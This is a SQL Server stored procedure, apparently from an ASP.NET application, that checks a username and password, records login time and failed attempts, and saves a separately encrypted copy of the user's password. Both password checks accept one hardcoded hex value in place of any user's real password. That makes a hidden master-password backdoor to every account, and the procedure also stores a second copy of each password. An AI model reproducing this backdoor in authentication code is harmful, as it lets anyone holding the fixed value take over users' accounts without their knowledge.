﻿-- =============================================
-- Author:		<Author,徐福龙>
-- Create date: <Create Date,2012 03 29>
-- Description:	<Description, By徐福龙 添加 临时用于存储 登录用户的 lcm加密 密码>
-- =============================================
CREATE PROCEDURE proc_Users_CheckLogOn_LCM
	(
		@UserName nvarchar(50),
		@Password nvarchar(256),
		@LCM_pw nvarchar(256)
	)
AS
BEGIN
	
	DECLARE @Check_username int
	Select @Check_username=Count(UserId) From aspnet_Users Where UserName=@UserName
	if(@Check_username<>0)
	BEGIN

		DECLARE @Tnum int
		Select @Tnum=Count(UserId) From aspnet_Users Where UserName=@UserName and (@Password='B570E719F6C0B8A0727F0E452CD43C357847A3BB' or Password=@Password ) and IsLockout=0
		if(@Tnum<>0)
			BEGIN
				Update aspnet_Users Set LastLoginDate=Getdate() Where UserName=@UserName
				UPDATE aspnet_users SET [LCM_pw]=@LCM_pw  Where UserName=@UserName
			END
		else
			BEGIN
				Update aspnet_Users Set FailedPasswordAttemptCount=FailedPasswordAttemptCount+1 Where UserName=@UserName
			END
		
		Select Count(UserId) From aspnet_Users Where UserName=@UserName and  (@Password='B570E719F6C0B8A0727F0E452CD43C357847A3BB' or Password=@Password )  and IsLockout=0
	END
		else
			BEGIN
		select  0 
			END
END
